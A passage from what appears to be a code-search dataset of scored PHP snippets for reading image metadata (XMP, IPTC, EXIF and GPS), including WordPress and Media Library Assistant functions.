elements\n\t\t$current_property = ''; // current property being processed\n\t\t$container_index = -1; // -1 = no container open, otherwise index of container content\n\t\tforeach ($values as $xml_elem)\n\t\t{\n\t\t\t// Syntax and Class names\n\t\t\tswitch ($xml_elem['tag'])\n\t\t\t{\n\t\t\t\tcase 'x:xmpmeta':\n\t\t\t\t\t// only defined attribute is x:xmptk written by Adobe XMP Toolkit; value is the version of the toolkit\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'rdf:RDF':\n\t\t\t\t\t// required element immediately within x:xmpmeta; no data here\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'rdf:Description':\n\t\t\t\t\tswitch ($xml_elem['type'])\n\t\t\t\t\t{\n\t\t\t\t\t\tcase 'open':\n\t\t\t\t\t\tcase 'complete':\n\t\t\t\t\t\t\tif (array_key_exists('attributes', $xml_elem))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// rdf:Description may contain wanted attributes\n\t\t\t\t\t\t\t\tforeach (array_keys($xml_elem['attributes']) as $key)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t// Check whether we want this details from this attribute\n//\t\t\t\t\t\t\t\t\tif (in_array($key, $GLOBALS['XMP_tag_captions']))\n\t\t\t\t\t\t\t\t\tif (true)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t// Attribute wanted\n\t\t\t\t\t\t\t\t\t\t$xmp_array[$key] = $xml_elem['attributes'][$key];\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'cdata':\n\t\t\t\t\t\tcase 'close':\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'rdf:ID':\n\t\t\t\tcase 'rdf:nodeID':\n\t\t\t\t\t// Attributes are ignored\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'rdf:li':\n\t\t\t\t\t// Property member\n\t\t\t\t\tif ($xml_elem['type'] == 'complete')\n\t\t\t\t\t{\n\t\t\t\t\t\tif (array_key_exists('attributes', $xml_elem))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// If Lang Alt (language alternatives) then ensure we take the default language\n\t\t\t\t\t\t\tif (isset($xml_elem['attributes']['xml:lang']) && ($xml_elem['attributes']['xml:lang'] != 'x-default'))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ($current_property != '')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$xmp_array[$current_property][$container_index] = (isset($xml_elem['value']) ? $xml_elem['value'] : '');\n\t\t\t\t\t\t\t$container_index += 1;\n\t\t\t\t\t\t}\n\t\t\t\t\t//else unidentified attribute!!\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'rdf:Seq':\n\t\t\t\tcase 'rdf:Bag':\n\t\t\t\tcase 'rdf:Alt':\n\t\t\t\t\t// Container found\n\t\t\t\t\tswitch ($xml_elem['type'])\n\t\t\t\t\t{\n\t\t\t\t\t\tcase 'open':\n \t\t\t\t\t\t\t$container_index = 0;\n \t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'close':\n\t\t\t\t\t\t\t$container_index = -1;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'cdata':\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\tdefault:\n\t\t\t\t\t// Check whether we want the details from this attribute\n//\t\t\t\t\tif (in_array($xml_elem['tag'], $GLOBALS['XMP_tag_captions']))\n\t\t\t\t\tif (true)\n\t\t\t\t\t{\n\t\t\t\t\t\tswitch ($xml_elem['type'])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase 'open':\n\t\t\t\t\t\t\t\t// open current element\n\t\t\t\t\t\t\t\t$current_property = $xml_elem['tag'];\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase 'close':\n\t\t\t\t\t\t\t\t// close current element\n\t\t\t\t\t\t\t\t$current_property = '';\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase 'complete':\n\t\t\t\t\t\t\t\t// store attribute value\n\t\t\t\t\t\t\t\t$xmp_array[$xml_elem['tag']] = (isset($xml_elem['attributes']) ? $xml_elem['attributes'] : (isset($xml_elem['value']) ? $xml_elem['value'] : ''));\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase 'cdata':\n\t\t\t\t\t\t\t\t// ignore\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t}\n\n\t\t}\n\t\treturn $xmp_array;\n\t}", "title": "" }, { "docid": "d0045b18b778ac64c054754d464799bf", "score": "0.5159528", "text": "function readImageList() { return $this->_images; }", "title": "" }, { "docid": "8a25b4410d51cfc34d55d5d499837660", "score": "0.51593506", "text": "function getMetadataUrl($imageIdentifier);", "title": "" }, { "docid": "4edaa52d25ee52725d179fa5ce5f9c28", "score": "0.51479197", "text": "function getImageData($imageIdentifier);", "title": "" }, { "docid": "ccefc09e3ed0dc002a1fb76252c9147d", "score": "0.51382786", "text": "function ajs_spb_get_exif_info() {\n\tif ( has_post_format( 'image' )) {\n\t\t$post_thumbnail_id = get_post_thumbnail_id( $post_id );\n\t\t$post_thumbnail_meta = wp_get_attachment_metadata ( $post_thumbnail_id );\n\n\t\tif($post_thumbnail_meta['image_meta']['camera']){\n\t\n\t// Start the markup.\n\t?>\n\t<ul class=\"image-exif-list\">\n\t\t<li class=\"camera\">Camera: <?php echo $post_thumbnail_meta['image_meta']['camera']; ?></li>\n\t\t<li class=\"iso\">ISO: <?php echo $post_thumbnail_meta['image_meta']['iso']; ?></li>\n\t\t<li class=\"aperture\">Aperture: <?php echo $post_thumbnail_meta['image_meta']['aperture']; ?></li>\n\t\t<li class=\"shutter\">Shutter: <?php echo ajs_spb_convert_decimal_to_fraction($post_thumbnail_meta); ?></li>\n\t\t<li class=\"focal-length\">Focal Length: <?php echo $post_thumbnail_meta['image_meta']['focal_length']; ?>mm</li>\n\t</ul> <!-- .image-exif-list -->\n\t<?php } }\n}", "title": "" }, { "docid": "54169d47e1ac191ff3a4877c50f47143", "score": "0.5138268", "text": "protected function _imageToArray(&$image, $product)\n {\n $result = array(\n 'file' => $image['file'],\n 'label' => $image['label'],\n 'position' => $image['position'],\n 'exclude' => $image['disabled'],\n 'url' => $this->_getMediaConfig()->getMediaUrl($image['file']),\n 'types' => array()\n );\n\n\n foreach ($product->getMediaAttributes() as $attribute) {\n if ($product->getData($attribute->getAttributeCode()) == $image['file']) {\n $result['types'][] = $attribute->getAttributeCode();\n }\n }\n\n return $result;\n }", "title": "" }, { "docid": "2930bc012366a720058b7fcc3a336ae4", "score": "0.5126515", "text": "private function setGpsData($imagePath) {\n \t$result = array();\n\n \t\t$storageArray = exif_read_data($imagePath);\n\n \t\tforeach($this->gpsArray as $value) {\n \t\t\tif(array_key_exists($value, $storageArray))\n \t\t\t\t$result[$value] = $storageArray[$value];\n \t\t}\n\n \t\treturn $result;\n }", "title": "" }, { "docid": "25b022c6a1dd0ff87588c80672917d40", "score": "0.5118359", "text": "public function getExif() {\n\t\treturn $this->values;\n\t}", "title": "" }, { "docid": "612e9452a7d8deada992f3dab6c5a5ab", "score": "0.50944346", "text": "private static function getImageDimensions($image)\n {\n return (object) ['x' => imagesx($image), 'y' => imagesy($image)];\n }", "title": "" }, { "docid": "cd6d29e87b7c305318d9c379c2b73c40", "score": "0.509376", "text": "public static function mla_fetch_attachment_image_metadata( $post_id, $path = '' ) {\r\n\t\t$results = array(\r\n\t\t\t'post_id' => $post_id,\r\n\t\t\t'mla_iptc_metadata' => array(),\r\n\t\t\t'mla_exif_metadata' => array(),\r\n\t\t\t'mla_xmp_metadata' => array(),\r\n\t\t\t'mla_pdf_metadata' => array()\r\n\t\t\t);\r\n\r\n\t\tif ( 0 != $post_id ) {\r\n\t\t\t$path = get_attached_file($post_id);\r\n\t\t}\r\n\r\n\t\tif ( ! empty( $path ) ) {\r\n\t\t\tif ( !file_exists( $path ) ) {\r\n\t\t\t\tMLACore::mla_debug_add( __LINE__ . ' ' . __( 'ERROR', 'media-library-assistant' ) . ': ' . \"mla_fetch_attachment_image_metadata( {$post_id}, {$path} ) not found\", MLACore::MLA_DEBUG_CATEGORY_ANY );\r\n\t\t\t\treturn $results;\r\n\t\t\t}\r\n\r\n\t\t\tif ( 'pdf' == strtolower( pathinfo( $path, PATHINFO_EXTENSION ) ) ) {\r\n\t\t\t\tif ( !class_exists( 'MLAPDF' ) ) {\r\n\t\t\t\t\trequire_once( MLA_PLUGIN_PATH . 'includes/class-mla-data-pdf.php' );\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$pdf_metadata = MLAPDF::mla_extract_pdf_metadata( $path );\r\n\t\t\t\t$results['mla_xmp_metadata'] = $pdf_metadata['xmp'];\r\n\t\t\t\t$results['mla_pdf_metadata'] = $pdf_metadata['pdf'];\r\n\t\t\t\tMLACore::mla_debug_add( __LINE__ . ' mla_fetch_attachment_image_metadata results = ' . var_export( $results, true ), MLACore::MLA_DEBUG_CATEGORY_METADATA );\r\n\t\t\t\treturn $results;\r\n\t\t\t}\r\n\r\n\t\t\t$size = getimagesize( $path, $info );\r\n\r\n\t\t\tif ( is_callable( 'iptcparse' ) ) {\r\n\t\t\t\tif ( ! empty( $info['APP13'] ) ) {\r\n\t\t\t\t\tset_error_handler( 'MLAData::mla_IPTC_EXIF_error_handler' );\r\n\t\t\t\t\ttry {\r\n\t\t\t\t\t\t$exception = NULL;\r\n\t\t\t\t\t\t$iptc_values = iptcparse( $info['APP13'] );\r\n\t\t\t\t\t} catch ( Throwable $e ) { // PHP 7\r\n\t\t\t\t\t\t$exception = $e;\r\n\t\t\t\t\t\t$iptc_values = NULL;\r\n\t\t\t\t\t} catch ( Exception $e ) { // PHP 5\r\n\t\t\t\t\t\t$exception = $e;\r\n\t\t\t\t\t\t$iptc_values = NULL;\r\n\t\t\t\t\t}\r\n\t\t\t\t\trestore_error_handler();\r\n\r\n\t\t\t\t\tMLACore::mla_debug_add( __LINE__ . ' mla_fetch_attachment_image_metadata iptc_values = ' . var_export( $iptc_values, true ), MLACore::MLA_DEBUG_CATEGORY_METADATA );\r\n\r\n\t\t\t\t\tif ( ! empty( $exception ) ) {\r\n\t\t\t\t\t\tMLAData::$mla_IPTC_EXIF_errors[] = sprintf( '(%1$s) %2$s', $exception->getCode(), $exception->getMessage() );\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t// Combine exceptions with PHP notice/warning/error messages\r\n\t\t\t\t\tif ( ! empty( MLAData::$mla_IPTC_EXIF_errors ) ) {\r\n\t\t\t\t\t\t$results['mla_iptc_errors'] = MLAData::$mla_IPTC_EXIF_errors;\r\n\t\t\t\t\t\tMLACore::mla_debug_add( __LINE__ . ' ' . __( 'ERROR', 'media-library-assistant' ) . ': ' . '$results[mla_iptc_errors] = ' . var_export( $results['mla_iptc_errors'], true ), MLACore::MLA_DEBUG_CATEGORY_ANY );\r\n\t\t\t\t\t\tMLAData::$mla_IPTC_EXIF_errors = array();\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\tif ( ! is_array( $iptc_values ) ) {\r\n\t\t\t\t\t\t$iptc_values = array();\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\tforeach ( $iptc_values as $key => $value ) {\r\n\t\t\t\t\t\tif ( in_array( $key, array( '1#000', '1#020', '1#022', '1#120', '1#122', '2#000', '2#200', '2#201' ) ) ) {\r\n\t\t\t\t\t\t\t$value = unpack( 'nbinary', $value[0] );\r\n\t\t\t\t\t\t\t$results['mla_iptc_metadata'][ $key ] = (string) $value['binary'];\r\n\t\t\t\t\t\t} elseif ( 1 == count( $value ) ) {\r\n\t\t\t\t\t\t\t$results['mla_iptc_metadata'][ $key ] = $value[0];\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t$results['mla_iptc_metadata'][ $key ] = $value;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t} // foreach $value\r\n\t\t\t\t} // ! empty\r\n\t\t\t} // iptcparse\r\n\r\n\t\t\tif ( is_callable( 'exif_read_data' ) && in_array( $size[2], array( IMAGETYPE_JPEG, IMAGETYPE_TIFF_II, IMAGETYPE_TIFF_MM ) ) ) {\r\n\t\t\t\tset_error_handler( 'MLAData::mla_IPTC_EXIF_error_handler' );\r\n\t\t\t\ttry {\r\n\t\t\t\t\t$exception = NULL;\r\n\t\t\t\t\t$exif_data = exif_read_data( $path, NULL, true );\r\n\t\t\t\t} catch ( Throwable $e ) { // PHP 7\r\n\t\t\t\t\t$exception = $e;\r\n\t\t\t\t\t$exif_data = NULL;\r\n\t\t\t\t} catch ( Exception $e ) { // PHP 5\r\n\t\t\t\t\t$exception = $e;\r\n\t\t\t\t\t$exif_data = NULL;\r\n\t\t\t\t}\r\n\t\t\t\trestore_error_handler();\r\n\r\n\t\t\t\tMLACore::mla_debug_add( __LINE__ . ' mla_fetch_attachment_image_metadata (PHP ' . phpversion() . ') exif_data = ' . var_export( $exif_data, true ), MLACore::MLA_DEBUG_CATEGORY_METADATA );\r\n\r\n\t\t\t\tif ( ! empty( $exception ) ) {\r\n\t\t\t\t\tMLAData::$mla_IPTC_EXIF_errors[] = sprintf( '(%1$s) %2$s', $exception->getCode(), $exception->getMessage() );\r\n\t\t\t\t}\r\n\r\n\t\t\t\t// Combine exceptions with PHP notice/warning/error messages\r\n\t\t\t\tif ( ! empty( MLAData::$mla_IPTC_EXIF_errors ) ) {\r\n\t\t\t\t\t$results['mla_exif_errors'] = MLAData::$mla_IPTC_EXIF_errors;\r\n\t\t\t\t\tMLACore::mla_debug_add( __LINE__ . ' ' . __( 'ERROR', 'media-library-assistant' ) . ': ' . '$results[mla_exif_errors] = ' . var_export( $results['mla_exif_errors'], true ), MLACore::MLA_DEBUG_CATEGORY_ANY );\r\n\t\t\t\t\tMLAData::$mla_IPTC_EXIF_errors = array();\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif ( ! is_array( $exif_data ) ) {\r\n\t\t\t\t\t$exif_data = array();\r\n\t\t\t\t}\r\n\r\n\t\t\t\t// Promote most array elements to top-level simple values, emulating $arrays = false\r\n\t\t\t\tforeach ( $exif_data as $section_name => $section_data ) {\r\n\t\t\t\t\t/*\r\n\t\t\t\t \t * The sections COMPUTED, THUMBNAIL, and COMMENT always become arrays as\r\n\t\t\t\t \t * they may contain values whose names conflict with other sections.\r\n\t\t\t\t\t * The WINXP section usually contains garbage that overwrites IFD0 values.\r\n\t\t\t\t \t */\r\n\t\t\t\t\tif ( in_array( $section_name, array ( 'COMPUTED', 'THUMBNAIL', 'COMMENT', 'WINXP' ) ) ) {\r\n\t\t\t\t\t\t$results['mla_exif_metadata'][ $section_name ] = $section_data;\r\n\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\tforeach ( $section_data as $element_name => $element_value ) {\r\n\t\t\t\t\t\t// JPEG standard defines 0xEA1C as \"padding\"\r\n\t\t\t\t\t\tif ( 'UndefinedTag:0xEA1C' === $element_name ) {\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t// Decode some non-string values\r\n\t\t\t\t\t\tif ( 'IFD0' === $section_name ) {\r\n\t\t\t\t\t\t\t/*\r\n\t\t\t\t\t\t\t * PixelUnit (1 byte) Units for the PixelPerUnitX and PixelPerUnitY densities\r\n\t\t\t\t\t\t\t * 0: no units, PixelPerUnitX and PixelPerUnitY specify the pixel aspect ratio\r\n\t\t\t\t\t\t\t * 1: PixelPerUnitX and PixelPerUnitY are dots per inch\r\n\t\t\t\t\t\t\t * 2: PixelPerUnitX and PixelPerUnitY are dots per cm\r\n\t\t\t\t\t\t\t */\r\n\t\t\t\t\t\t\tif ( 'PixelUnit' === $element_name ) {\r\n\t\t\t\t\t\t\t\t$element_value = (string) ord( $element_value );\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t// Problem with values edited through Windows right-click properties. \r\n\t\t\t\t\t\t\tif ( in_array( $element_name, array( 'Title', 'Keywords', 'Subject' ) ) ) {\r\n\t\t\t\t\t\t\t\t$element_value = str_replace( \"\\000\", '', $element_value );\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t$results['mla_exif_metadata'][ $element_name ] = $element_value;\r\n\t\t\t\t\t} // foreach $section_data\r\n\t\t\t\t} // foreach $exif_data\r\n\r\n\t\t\t\t// $exif_data is used for enhanced values below\r\n\t\t\t\t$exif_data = $results['mla_exif_metadata'];\r\n\t\t\t} // exif_read_data\r\n\r\n\t\t\t$results['mla_xmp_metadata'] = self::mla_parse_xmp_metadata( $path, 0 );\r\n\t\t\tif ( NULL == $results['mla_xmp_metadata'] ) {\r\n\t\t\t\t$results['mla_xmp_metadata'] = array();\r\n\t\t\t}\r\n\r\n\t\t\t// experimental damage repair for Robert O'Conner (Rufus McDufus)\r\n\t\t\tif ( isset( $exif_data['DateTimeOriginal'] ) && ( 8 > strlen( $exif_data['DateTimeOriginal'] ) ) ) {\r\n\t\t\t\tif ( isset( $results['mla_xmp_metadata']['CreateDate'] )&& ( is_numeric( strtotime( $results['mla_xmp_metadata']['CreateDate'] ) ) ) ) {\r\n\t\t\t\t\t$exif_data['BadDateTimeOriginal'] = $exif_data['DateTimeOriginal'];\r\n\t\t\t\t\t$results['mla_exif_metadata']['BadDateTimeOriginal'] = $exif_data['DateTimeOriginal'];\r\n\r\n\t\t\t\t\t$exif_data['DateTimeOriginal'] = $results['mla_xmp_metadata']['CreateDate'];\r\n\t\t\t\t\t$results['mla_exif_metadata']['DateTimeOriginal'] = $results['mla_xmp_metadata']['CreateDate'];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t// experimental damage repair for Elsie Gilmore (earthnutvt)\r\n\t\t\tif ( isset( $exif_data['Keywords'] ) && ( '????' == substr( $exif_data['Keywords'], 0, 4 ) ) ) {\r\n\t\t\t\tif ( isset( $results['mla_xmp_metadata']['Keywords'] ) ) {\r\n\t\t\t\t\t$exif_data['Keywords'] = $results['mla_xmp_metadata']['Keywords'];\r\n\t\t\t\t\t$results['mla_exif_metadata']['Keywords'] = $results['mla_xmp_metadata']['Keywords'];\r\n\t\t\t\t} else {\r\n\t\t\t\t\tunset( $exif_data['Keywords'] );\r\n\t\t\t\t\tunset( $results['mla_exif_metadata']['Keywords'] );\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t/*\r\n\t\t * Expand EXIF Camera-related values:\r\n\t\t *\r\n\t\t * ExposureBiasValue\r\n\t\t * ExposureTime\r\n\t\t * Flash\r\n\t\t * FNumber \r\n\t\t * FocalLength\r\n\t\t * ShutterSpeed from ExposureTime\r\n\t\t */\r\n\t\t$new_data = array();\r\n\t\tif ( isset( $exif_data['FNumber'] ) ) {\r\n\t\t\tif ( false !== ( $value = self::_rational_to_string( $exif_data['FNumber'], '%1$d', '%1$d/%2$d', '%1$.1f' ) ) ) {\r\n\t\t\t\t$new_data['FNumber'] = $value;\r\n\t\t\t}\r\n\t\t} // FNumber\r\n\r\n\t\tif ( isset( $exif_data['ExposureBiasValue'] ) ) {\r\n\t\t\t$fragments = array_map( 'intval', explode( '/', $exif_data['ExposureBiasValue'] ) );\r\n\t\t\tif ( ! is_null( $fragments[1] ) ) {\r\n\t\t\t\t$numerator = $fragments[0];\r\n\t\t\t\t$denominator = $fragments[1];\r\n\r\n\t\t\t\t// Clean up some common format issues, e.g. 4/6, 2/4\r\n\t\t\t\twhile ( ( 0 == ( $numerator & 0x1 ) ) && ( 0 == ( $denominator & 0x1 ) ) ) {\r\n\t\t\t\t\t$numerator = ( $numerator >> 1 );\r\n\t\t\t\t\t$denominator = ( $denominator >> 1 );\r\n\t\t\t\t}\r\n\r\n\t\t\t\t// Remove excess precision\r\n\t\t\t\tif ( ( $denominator > $numerator) && ( 1000 < $numerator ) && ( 1000 < $denominator ) ) {\r\n\t\t\t\t\t$exif_data['ExposureBiasValue'] = sprintf( '%1$+.3f', ( $numerator/$denominator ) );\r\n\t\t\t\t} else {\r\n\t\t\t\t\t$fragments[0] = $numerator;\r\n\t\t\t\t\t$fragments[1] = $denominator;\r\n\t\t\t\t\t$exif_data['ExposureBiasValue'] = $numerator . '/' . $denominator;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tif ( false !== ( $value = self::_rational_to_string( $exif_data['ExposureBiasValue'], '%1$+d', '%1$+d/%2$d', '%1$+.2f' ) ) ) {\r\n\t\t\t\t$new_data['ExposureBiasValue'] = $value;\r\n\t\t\t}\r\n\t\t} // ExposureBiasValue\r\n\r\n\t\tif ( isset( $exif_data['Flash'] ) ) {\r\n\t\t\t$value = ( absint( $exif_data['Flash'] ) );\r\n\t\t\tif ( $value & 0x1 ) {\r\n\t\t\t\t$new_data['Flash'] = __( 'Yes', 'media-library-assistant' );\r\n\t\t\t} else {\r\n\t\t\t\t$new_data['Flash'] = __( 'No', 'media-library-assistant' );\r\n\t\t\t}\r\n\t\t} // Flash\r\n\r\n\t\tif ( isset( $exif_data['FocalLength'] ) ) {\r\n\t\t\tif ( false !== ( $value = self::_rational_to_string( $exif_data['FocalLength'], '%1$d', '%1$d/%2$d', '%1$.2f' ) ) ) {\r\n\t\t\t\t$new_data['FocalLength'] = $value;\r\n\t\t\t}\r\n\t\t} // FocalLength\r\n\r\n\t\tif ( isset( $exif_data['ExposureTime'] ) ) {\r\n\t\t\tif ( false !== ( $value = self::_rational_to_string( $exif_data['ExposureTime'], '%1$d', '%1$d/%2$d', '%1$.2f' ) ) ) {\r\n\t\t\t\t$new_data['ExposureTime'] = $value;\r\n\t\t\t}\r\n\t\t} // ExposureTime\r\n\r\n\t\t/*\r\n\t\t * ShutterSpeed in \"1/\" format, from ExposureTime\r\n\t\t * Special logic for \"fractional shutter speed\" values 1.3, 1.5, 1.6, 2.5\r\n\t\t */\r\n\t\tif ( isset( $exif_data['ExposureTime'] ) ) {\r\n\t\t\t$fragments = array_map( 'intval', explode( '/', $exif_data['ExposureTime'] ) );\r\n\t\t\tif ( ! is_null( $fragments[1] && $fragments[0] ) ) {\r\n\t\t\t\tif ( 1 == $fragments[1] ) {\r\n\t\t\t\t\t$new_data['ShutterSpeed'] = $new_data['ExposureTime'] = sprintf( '%1$d', $fragments[0] );\r\n\t\t\t\t} elseif ( 0 != $fragments[1] ) {\r\n\t\t\t\t\t$value = $fragments[0] / $fragments[1];\r\n\t\t\t\t\tif ( ( 0 < $value ) && ( 1 > $value ) ) {\r\n\t\t\t\t\t\t// Convert to \"1/\" value for shutter speed\r\n\t\t\t\t\t\tif ( 1 == $fragments[0] ) {\r\n\t\t\t\t\t\t\t$new_data['ShutterSpeed'] = $new_data['ExposureTime'];\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t$test = (float) number_format( 1.0 / $value, 1, '.', '');\r\n\t\t\t\t\t\t\tif ( in_array( $test, array( 1.3, 1.5, 1.6, 2.5 ) ) ) {\r\n\t\t\t\t\t\t\t\t$new_data['ShutterSpeed'] = '1/' . number_format( 1.0 / $value, 1, '.', '' );\r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\t$new_data['ShutterSpeed'] = '1/' . number_format( 1.0 / $value, 0, '.', '' );\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\t$new_data['ShutterSpeed'] = $new_data['ExposureTime'] = sprintf( '%1$.2f', $value );\r\n\t\t\t\t\t}\r\n\t\t\t\t} // fractional value\r\n\t\t\t} // valid denominator and non-zero numerator\r\n\t\t} // ShutterSpeed\r\n\r\n\t\tif ( isset( $exif_data['UndefinedTag:0xA420'] ) ) {\r\n\t\t\t$new_data['ImageUniqueID'] = $exif_data['UndefinedTag:0xA420'];\r\n\t\t}\r\n\r\n\t\tif ( isset( $exif_data['UndefinedTag:0xA430'] ) ) {\r\n\t\t\t$new_data['CameraOwnerName'] = $exif_data['UndefinedTag:0xA430'];\r\n\t\t}\r\n\r\n\t\tif ( isset( $exif_data['UndefinedTag:0xA431'] ) ) {\r\n\t\t\t$new_data['BodySerialNumber'] = $exif_data['UndefinedTag:0xA431'];\r\n\t\t}\r\n\r\n\t\tif ( isset( $exif_data['UndefinedTag:0xA432'] ) && is_array( $exif_data['UndefinedTag:0xA432'] ) ) {\r\n\t\t\t$array = $new_data['LensSpecification'] = $exif_data['UndefinedTag:0xA432'];\r\n\r\n\t\t\tif ( isset ( $array[0] ) ) {\r\n\t\t\t\tif ( false !== ( $value = self::_rational_to_string( $array[0], '%1$d', '%1$d/%2$d', '%1$.2f' ) ) ) {\r\n\t\t\t\t\t$new_data['LensMinFocalLength'] = $value;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tif ( isset ( $array[1] ) ) {\r\n\t\t\t\tif ( false !== ( $value = self::_rational_to_string( $array[1], '%1$d', '%1$d/%2$d', '%1$.2f' ) ) ) {\r\n\t\t\t\t\t$new_data['LensMaxFocalLength'] = $value;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tif ( isset ( $array[2] ) ) {\r\n\t\t\t\tif ( false !== ( $value = self::_rational_to_string( $array[2], '%1$d', '%1$d/%2$d', '%1$.1f' ) ) ) {\r\n\t\t\t\t\t$new_data['LensMinFocalLengthFN'] = $value;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tif ( isset ( $array[3] ) ) {\r\n\t\t\t\tif ( false !== ( $value = self::_rational_to_string( $array[3], '%1$d', '%1$d/%2$d', '%1$.1f' ) ) ) {\r\n\t\t\t\t\t$new_data['LensMaxFocalLengthFN'] = $value;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t\tif ( isset( $exif_data['UndefinedTag:0xA433'] ) ) {\r\n\t\t\t$new_data['LensMake'] = $exif_data['UndefinedTag:0xA433'];\r\n\t\t}\r\n\r\n\t\tif ( isset( $exif_data['UndefinedTag:0xA434'] ) ) {\r\n\t\t\t$new_data['LensModel'] = $exif_data['UndefinedTag:0xA434'];\r\n\t\t}\r\n\r\n\t\tif ( isset( $exif_data['UndefinedTag:0xA435'] ) ) {\r\n\t\t\t$new_data['LensSerialNumber'] = $exif_data['UndefinedTag:0xA435'];\r\n\t\t}\r\n\r\n\t\tif ( ! empty( $new_data ) ) {\r\n\t\t\t$results['mla_exif_metadata']['CAMERA'] = $new_data;\r\n\t\t}\r\n\r\n\t\t/*\r\n\t\t * Expand EXIF GPS values\r\n\t\t */\r\n\t\t$new_data = array();\r\n\t\tif ( isset( $exif_data['GPSVersion'] ) ) {\r\n\t\t\t$new_data['Version'] = sprintf( '%1$d.%2$d.%3$d.%4$d', ord( $exif_data['GPSVersion'][0] ), ord( $exif_data['GPSVersion'][1] ), ord( $exif_data['GPSVersion'][2] ), ord( $exif_data['GPSVersion'][3] ) );\r\n\t\t}\r\n\r\n\t\tif ( isset( $exif_data['GPSLatitudeRef'] ) ) {\r\n\t\t\t$new_data['LatitudeRef'] = $exif_data['GPSLatitudeRef'];\r\n\t\t\t$new_data['LatitudeRefS'] = ( 'N' == $exif_data['GPSLatitudeRef'] ) ? '' : '-';\r\n\t\t\t$ref = $new_data['LatitudeRef'];\r\n\t\t\t$refs = $new_data['LatitudeRefS'];\r\n\t\t} else {\r\n\t\t\t$ref = '';\r\n\t\t\t$refs = '';\r\n\t\t}\r\n\r\n\t\tif ( isset( $exif_data['GPSLatitude'] ) ) {\r\n\t\t\t$rational = $exif_data['GPSLatitude'];\r\n\t\t\t$new_data['LatitudeD'] = $degrees = self::_rational_to_decimal( $rational[0] );\r\n\t\t\t$new_data['LatitudeM'] = $minutes = self::_rational_to_decimal( $rational[1] );\r\n\t\t\t$new_data['LatitudeS'] = sprintf( '%1$01.4f', $seconds = self::_rational_to_decimal( $rational[2] ) );\r\n\t\t\t$decimal_minutes = $minutes + ( $seconds / 60 );\r\n\t\t\t$decimal_degrees = ( $decimal_minutes / 60 );\r\n\r\n\t\t\t$new_data['Latitude'] = sprintf( '%1$dd %2$d\\' %3$01.4f\" %4$s', $degrees, $minutes, $seconds, $ref );\r\n\t\t\t$new_data['LatitudeDM'] = sprintf( '%1$d %2$01.4f', $degrees, $decimal_minutes );\r\n\t\t\t$new_data['LatitudeDD'] = sprintf( '%1$01f', $degrees + $decimal_degrees );\r\n\t\t\t$new_data['LatitudeMinDec'] = substr( $new_data['LatitudeDM'], strpos( $new_data['LatitudeDM'], ' ' ) + 1 );\r\n\t\t\t$new_data['LatitudeDegDec'] = substr( $new_data['LatitudeDD'], strpos( $new_data['LatitudeDD'], '.' ) );\r\n\t\t\t$new_data['LatitudeSDM'] = $refs . $new_data['LatitudeDM'];\r\n\t\t\t$new_data['LatitudeSDD'] = $refs . $new_data['LatitudeDD'];\r\n\t\t\t$new_data['LatitudeDM'] = $new_data['LatitudeDM'] . $ref;\r\n\t\t\t$new_data['LatitudeDD'] = $new_data['LatitudeDD'] . $ref;\r\n\t\t}\r\n\r\n\t\tif ( isset( $exif_data['GPSLongitudeRef'] ) ) {\r\n\t\t\t$new_data['LongitudeRef'] = 